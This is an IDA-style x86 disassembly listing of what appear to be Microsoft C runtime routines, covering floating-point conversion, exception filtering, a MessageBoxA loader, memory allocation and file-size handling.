jz short loc_424A31
push edi
push 1
push dword ptr [edi]
call sub_425301
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424A18
loc_424A31: ; CODE XREF: sub_4249DF+34j
; sub_4249DF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4249DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424A35 proc near ; CODE XREF: sub_424B90+81p
; sub_424B90+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424A99
inc ebx
push ebx
push [ebp+arg_0]
call sub_424996
pop ecx
test eax, eax
pop ecx
jnz short loc_424A96
push edi
push [ebp+arg_0]
call sub_4249DF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424A96: ; CODE XREF: sub_424A35+51j
mov eax, [ebp+arg_4]
loc_424A99: ; CODE XREF: sub_424A35+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_424AB9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_424AB9: ; CODE XREF: sub_424A35+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424A35 endp
; =============== S U B R O U T I N E =======================================
sub_424AC1 proc near ; CODE XREF: sub_424B90+75p
; sub_424B90+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_424ACF: ; CODE XREF: sub_424AC1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_424ACF
pop esi
retn
sub_424AC1 endp
; =============== S U B R O U T I N E =======================================
sub_424ADC proc near ; CODE XREF: sub_424B90+5Fp
; sub_424B90+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_424ADC endp
; =============== S U B R O U T I N E =======================================
sub_424AE8 proc near ; CODE XREF: sub_424B90+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_424AEE: ; CODE XREF: sub_424AE8+12j
cmp dword ptr [eax], 0
jnz short loc_424B00
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_424AEE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_424B00: ; CODE XREF: sub_424AE8+9j
xor eax, eax
retn
sub_424AE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B03 proc near ; CODE XREF: sub_424B90+C0p
; sub_424B90+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424B39: ; CODE XREF: sub_424B03+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424B39
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_424B6B: ; CODE XREF: sub_424B03+86j
cmp ebx, edi
jl short loc_424B7E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424B85
; ---------------------------------------------------------------------------
loc_424B7E: ; CODE XREF: sub_424B03+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424B85: ; CODE XREF: sub_424B03+79j
dec ebx
sub ecx, 4
jns short loc_424B6B
pop edi
pop esi
pop ebx
leave
retn
sub_424B03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B90 proc near ; CODE XREF: sub_424CFC+Dp
; sub_424D12+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_424BFD
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_424AE8
test eax, eax
pop ecx
jnz loc_424CBC
lea eax, [ebp+var_C]
push eax
call sub_424ADC
pop ecx
loc_424BF5: ; CODE XREF: sub_424B90+E4j
push 2
loc_424BF7: ; CODE XREF: sub_424B90+110j
pop eax
jmp loc_424CBE
; ---------------------------------------------------------------------------
loc_424BFD: ; CODE XREF: sub_424B90+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_424AC1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424A35
add esp, 10h
test eax, eax
jz short loc_424C1E
inc ebx
loc_424C1E: ; CODE XREF: sub_424B90+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424C36
lea eax, [ebp+var_C]
push eax
call sub_424ADC
pop ecx
jmp short loc_424C72
; ---------------------------------------------------------------------------
loc_424C36: ; CODE XREF: sub_424B90+98j
cmp ebx, eax
jg short loc_424C79
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_424AC1
lea eax, [ebp+var_C]
push esi
push eax
call sub_424B03
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424A35
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_424B03
add esp, 20h
loc_424C72: ; CODE XREF: sub_424B90+A4j
xor esi, esi
jmp loc_424BF5
; ---------------------------------------------------------------------------
loc_424C79: ; CODE XREF: sub_424B90+A8j
cmp ebx, [edi]
jl short loc_424CA5
lea eax, [ebp+var_C]
push eax
call sub_424ADC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_424B03
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_424BF7
; ---------------------------------------------------------------------------
loc_424CA5: ; CODE XREF: sub_424B90+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_424B03
pop ecx
pop ecx
loc_424CBC: ; CODE XREF: sub_424B90+55j
xor eax, eax
loc_424CBE: ; CODE XREF: sub_424B90+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_424CED
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_424CF7
; ---------------------------------------------------------------------------
loc_424CED: ; CODE XREF: sub_424B90+14Ej
cmp edi, 20h
jnz short loc_424CF7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_424CF7: ; CODE XREF: sub_424B90+15Bj
; sub_424B90+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424B90 endp
; =============== S U B R O U T I N E =======================================
sub_424CFC proc near ; CODE XREF: sub_424D28+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D7F8
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424B90
add esp, 0Ch
retn
sub_424CFC endp
; =============== S U B R O U T I N E =======================================
sub_424D12 proc near ; CODE XREF: sub_424D55+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D810
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424B90
add esp, 0Ch
retn
sub_424D12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D28 proc near ; CODE XREF: sub_42223B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4254A2
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424CFC
add esp, 24h
leave
retn
sub_424D28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D55 proc near ; CODE XREF: sub_42223B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4254A2
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424D12
add esp, 24h
leave
retn
sub_424D55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D82 proc near ; CODE XREF: sub_422279+65p
; sub_42237D+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_424DBF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_424DA5: ; CODE XREF: sub_424D82+38j
mov dl, [ecx]
test dl, dl
jz short loc_424DB1
movsx edx, dl
inc ecx
jmp short loc_424DB4
; ---------------------------------------------------------------------------
loc_424DB1: ; CODE XREF: sub_424D82+27j
push 30h
pop edx
loc_424DB4: ; CODE XREF: sub_424D82+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_424DA5
mov edx, [ebp+arg_8]
loc_424DBF: ; CODE XREF: sub_424D82+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_424DD8
cmp byte ptr [ecx], 35h
jl short loc_424DD8
loc_424DCB: ; CODE XREF: sub_424D82+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_424DD6
mov byte ptr [eax], 30h
jmp short loc_424DCB
; ---------------------------------------------------------------------------
loc_424DD6: ; CODE XREF: sub_424D82+4Dj
inc byte ptr [eax]
loc_424DD8: ; CODE XREF: sub_424D82+42j
; sub_424D82+47j
cmp byte ptr [esi], 31h
jnz short loc_424DE2
inc dword ptr [edx+4]
jmp short loc_424DF4
; ---------------------------------------------------------------------------
loc_424DE2: ; CODE XREF: sub_424D82+59j
push edi
call sub_41B9C0
inc eax
push eax
push edi
push esi
call sub_41D670
add esp, 10h
loc_424DF4: ; CODE XREF: sub_424D82+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424D82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424DF9 proc near ; CODE XREF: sub_422279+3Fp
; sub_42237D+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_424E5D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DBFB8
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_425973
mov dword_4DBFE0, eax
add esp, 18h
movsx eax, byte_4DBFBA
mov dword_4DBFD8, eax
pop edi
movsx eax, word_4DBFB8
mov dword_4DBFDC, eax
mov dword_4DBFE4, offset dword_4DBFBC
mov eax, offset dword_4DBFD8
pop esi
leave
retn
sub_424DF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E5D proc near ; CODE XREF: sub_424DF9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_424EAB
cmp ebx, edi
jz short loc_424EA4
lea edi, [ecx+3C00h]
jmp short loc_424ECC
; ---------------------------------------------------------------------------
loc_424EA4: ; CODE XREF: sub_424E5D+3Dj
mov edi, 7FFFh
jmp short loc_424ECC
; ---------------------------------------------------------------------------
loc_424EAB: ; CODE XREF: sub_424E5D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_424EC3
cmp edx, ebx
jnz short loc_424EC3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_424F0E
; ---------------------------------------------------------------------------
loc_424EC3: ; CODE XREF: sub_424E5D+52j
; sub_424E5D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_424ECC: ; CODE XREF: sub_424E5D+45j
; sub_424E5D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_424EE4: ; CODE XREF: sub_424E5D+A6j
test ecx, esi
jnz short loc_424F05
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_424EE4
; ---------------------------------------------------------------------------
loc_424F05: ; CODE XREF: sub_424E5D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_424F0E: ; CODE XREF: sub_424E5D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_424E5D endp
; ---------------------------------------------------------------------------
push 2
call sub_41E2C9
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_424F1C proc near ; DATA XREF: ___:0043D438o
; ___:0043DB78o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_424F3F
cmp dword ptr [eax+10h], 3
jnz short loc_424F3F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_424F3F
jmp sub_422DFC
; ---------------------------------------------------------------------------
loc_424F3F: ; CODE XREF: sub_424F1C+Dj
; sub_424F1C+13j ...
mov eax, dword_4DBFE8
test eax, eax
jz short loc_424F5C
push eax
call sub_424FB8
test eax, eax
pop ecx
jz short loc_424F5C
push esi
call dword_4DBFE8
jmp short loc_424F5E
; ---------------------------------------------------------------------------
loc_424F5C: ; CODE XREF: sub_424F1C+2Aj
; sub_424F1C+35j
xor eax, eax
loc_424F5E: ; CODE XREF: sub_424F1C+3Ej
pop esi
retn 4
sub_424F1C endp
; ---------------------------------------------------------------------------
word_424F62 dw 1C68h ; DATA XREF: ___:00429024o
; ---------------------------------------------------------------------------
dec edi
inc edx
add [eax+1FB093E8h], dl
add ah, byte ptr dword_4DBFE8[ebx]
retn
; ---------------------------------------------------------------------------
byte_424F73 db 0FFh ; DATA XREF: ___:0042903Co
dd 4DBFE835h, 0B082E800h, 0C390021Fh
; =============== S U B R O U T I N E =======================================
sub_424F80 proc near ; CODE XREF: sub_422651+6Bp
; sub_422B62+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 2610B23h
test eax, eax
jz short loc_424F98
xor esi, esi
loc_424F98: ; CODE XREF: sub_424F80+14j
mov eax, esi
pop esi
retn
sub_424F80 endp
; =============== S U B R O U T I N E =======================================
sub_424F9C proc near ; CODE XREF: sub_422B62+73p
; sub_422B62+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 269078Ch
test eax, eax
jz short loc_424FB4
xor esi, esi
loc_424FB4: ; CODE XREF: sub_424F9C+14j
mov eax, esi
pop esi
retn
sub_424F9C endp
; =============== S U B R O U T I N E =======================================
sub_424FB8 proc near ; CODE XREF: sub_422B62+15Bp
; sub_424F1C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
nop
call near ptr 2610AD4h
test eax, eax
jz short loc_424FCC
xor esi, esi
loc_424FCC: ; CODE XREF: sub_424FB8+10j
mov eax, esi
pop esi
retn
sub_424FB8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422DFC
loc_424FD0: ; CODE XREF: sub_422DFC:loc_422E4Dj
push 0Ah
call sub_423DD1
push 16h
call sub_425C06
pop ecx
pop ecx
push 3
call sub_41C1A2
; END OF FUNCTION CHUNK FOR sub_422DFC
; =============== S U B R O U T I N E =======================================
sub_424FE7 proc near ; CODE XREF: ___:004236A6p
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_424FF8
add esp, 0Ch
retn
sub_424FE7 endp
; =============== S U B R O U T I N E =======================================
sub_424FF8 proc near ; CODE XREF: sub_424FE7+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DD261[eax], cl
jnz short loc_425025
cmp [esp+arg_4], 0
jz short loc_42501E
movzx eax, word_43CE82[eax*2]
and eax, [esp+arg_4]
jmp short loc_425020
; ---------------------------------------------------------------------------
loc_42501E: ; CODE XREF: sub_424FF8+16j
xor eax, eax
loc_425020: ; CODE XREF: sub_424FF8+24j
test eax, eax
jnz short loc_425025
retn
; ---------------------------------------------------------------------------
loc_425025: ; CODE XREF: sub_424FF8+Fj
; sub_424FF8+2Aj
push 1
pop eax
retn
sub_424FF8 endp
; =============== S U B R O U T I N E =======================================
sub_425029 proc near ; CODE XREF: sub_423DD1+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4DBFEC, ebx
push esi
push edi
jnz short loc_425078
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 26E0C7Eh
mov edi, eax
cmp edi, ebx
jz short loc_4250AE
mov esi, dword_4270C4
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov dword_4DBFEC, eax
jz short loc_4250AE
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4DBFF0, eax
call esi
mov dword_4DBFF4, eax
loc_425078: ; CODE XREF: sub_425029+Bj
mov eax, dword_4DBFF0
test eax, eax
jz short loc_425097
call eax
mov ebx, eax
test ebx, ebx
jz short loc_425097
mov eax, dword_4DBFF4
test eax, eax
jz short loc_425097
push ebx
call eax
mov ebx, eax
loc_425097: ; CODE XREF: sub_425029+56j
; sub_425029+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4DBFEC
loc_4250AA: ; CODE XREF: sub_425029+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4250AE: ; CODE XREF: sub_425029+1Cj
; sub_425029+33j
xor eax, eax
jmp short loc_4250AA
sub_425029 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4250B2 proc near ; CODE XREF: sub_42413E+22p
; sub_42413E+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_4250D3
test esi, esi
jnz short loc_4250CD
push 1
pop esi
loc_4250CD: ; CODE XREF: sub_4250B2+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_4250D3: ; CODE XREF: sub_4250B2+12j
; sub_4250B2+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_425132
mov eax, dword_4DD388
cmp eax, 3
jnz short loc_4250FE
mov eax, [ebp+arg_0]
cmp eax, dword_4DD380
ja short loc_42511D
push eax
call sub_41EA6B
mov edi, eax
pop ecx
test edi, edi
jnz short loc_425148
jmp short loc_42511D
; ---------------------------------------------------------------------------
loc_4250FE: ; CODE XREF: sub_4250B2+30j
cmp eax, 2
jnz short loc_42511D
cmp esi, dword_43CE74
ja short loc_42511D
mov eax, esi
shr eax, 4
push eax
call sub_41F50E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_42515C
loc_42511D: ; CODE XREF: sub_4250B2+3Bj
; sub_4250B2+4Aj ...
push esi
push 8
push dword_4DD384
nop
call near ptr 2800000h
mov edi, eax
test edi, edi
jnz short loc_425156
loc_425132: ; CODE XREF: sub_4250B2+26j
cmp dword_4DBE48, 0
jz short loc_425156
push esi
call sub_41FBB2
test eax, eax
pop ecx
jz short loc_42515F
jmp short loc_4250D3
; ---------------------------------------------------------------------------
loc_425148: ; CODE XREF: sub_4250B2+48j
push [ebp+arg_0]
loc_42514B: ; CODE XREF: sub_4250B2+ABj
push 0
push edi
call sub_41BF70
add esp, 0Ch
loc_425156: ; CODE XREF: sub_4250B2+7Ej
; sub_4250B2+87j
mov eax, edi
loc_425158: ; CODE XREF: sub_4250B2+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42515C: ; CODE XREF: sub_4250B2+69j
push esi
jmp short loc_42514B
; ---------------------------------------------------------------------------
loc_42515F: ; CODE XREF: sub_4250B2+92j
xor eax, eax
jmp short loc_425158
sub_4250B2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4241E3
loc_425163: ; CODE XREF: sub_4241E3+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DD020, esi
jle short loc_4251B6
loc_425172: ; CODE XREF: sub_4241E3+FD1j
mov eax, dword_4DC01C
mov eax, [eax+esi*4]
test eax, eax
jz short loc_4251AD
test byte ptr [eax+0Ch], 83h
jz short loc_425191
push eax
call sub_41BA3B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_425191
inc edi
loc_425191: ; CODE XREF: sub_4241E3+F9Fj
; sub_4241E3+FABj
cmp esi, 14h
jl short loc_4251AD
mov eax, dword_4DC01C
push dword ptr [eax+esi*4]
call sub_41BA91
mov eax, dword_4DC01C
pop ecx
and dword ptr [eax+esi*4], 0
loc_4251AD: ; CODE XREF: sub_4241E3+F99j
; sub_4241E3+FB1j
inc esi
cmp esi, dword_4DD020
jl short loc_425172
loc_4251B6: ; CODE XREF: sub_4241E3+F8Dj
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4241E3
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4251BB proc near ; CODE XREF: sub_42423B+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C500
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DD140
jnb loc_4252F0
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_4252F0
push 1
push esi
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_4252FA
push 2
push esi
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_4252FA
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_42529D
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41BF70
loc_425240: ; DATA XREF: ___:off_438CB8o
push 8000h
push ebx
call sub_425D78
add esp, 14h
mov [ebp+arg_4], eax
loc_425251: ; CODE XREF: sub_4251BB+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_42525C
mov eax, edi
loc_42525C: ; CODE XREF: sub_4251BB+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_4230FB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_42527A
sub edi, eax
test edi, edi
jle short loc_425290
jmp short loc_425251
; ---------------------------------------------------------------------------
loc_42527A: ; CODE XREF: sub_4251BB+B5j
cmp dword_4DBDE0, 5
jnz short loc_42528D
mov dword_4DBDDC, 0Dh
loc_42528D: ; CODE XREF: sub_4251BB+C6j
or esi, 0FFFFFFFFh
loc_425290: ; CODE XREF: sub_4251BB+BBj
push [ebp+arg_4]
push ebx
call sub_425D78
pop ecx
pop ecx
jmp short loc_4252DD
; ---------------------------------------------------------------------------
loc_42529D: ; CODE XREF: sub_4251BB+71j
jge short loc_4252DD
push 0
push [ebp+arg_4]
push ebx
call sub_422F09
push ebx
call sub_4240AA
add esp, 10h
push eax
nop
call near ptr 2610000h
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_4252DD
mov dword_4DBDDC, 0Dh
nop
call near ptr 26C0CC8h
mov dword_4DBDE0, eax
loc_4252DD: ; CODE XREF: sub_4251BB+E0j
; sub_4251BB:loc_42529Dj ...
push 0
push [ebp+arg_0]
push ebx
call sub_422F09
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_4252FD
; ---------------------------------------------------------------------------
loc_4252F0: ; CODE XREF: sub_4251BB+1Aj
; sub_4251BB+36j
mov dword_4DBDDC, 9
loc_4252FA: ; CODE XREF: sub_4251BB+4Ej
; sub_4251BB+63j
or eax, 0FFFFFFFFh
loc_4252FD: ; CODE XREF: sub_4251BB+133j
pop esi
pop ebx
leave
retn
sub_4251BB endp
; =============== S U B R O U T I N E =======================================
sub_425301 proc near ; CODE XREF: sub_4249DF+2Bp
; sub_4249DF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_425317
cmp ecx, esi
jnb short loc_42531A
loc_425317: ; CODE XREF: sub_425301+10j
push 1
pop eax
loc_42531A: ; CODE XREF: sub_425301+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_425301 endp
; =============== S U B R O U T I N E =======================================
sub_425322 proc near ; CODE XREF: sub_4253DB+40p
; sub_4253DB+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425354
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425354
inc dword ptr [esi+8]
loc_425354: ; CODE XREF: sub_425322+19j
; sub_425322+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_42536C
inc dword ptr [esi+8]
loc_42536C: ; CODE XREF: sub_425322+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_425301
add esp, 0Ch
pop edi
pop esi
retn
sub_425322 endp
; =============== S U B R O U T I N E =======================================
sub_425380 proc near ; CODE XREF: sub_4253DB+30p
; sub_4253DB+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_425380 endp
; =============== S U B R O U T I N E =======================================
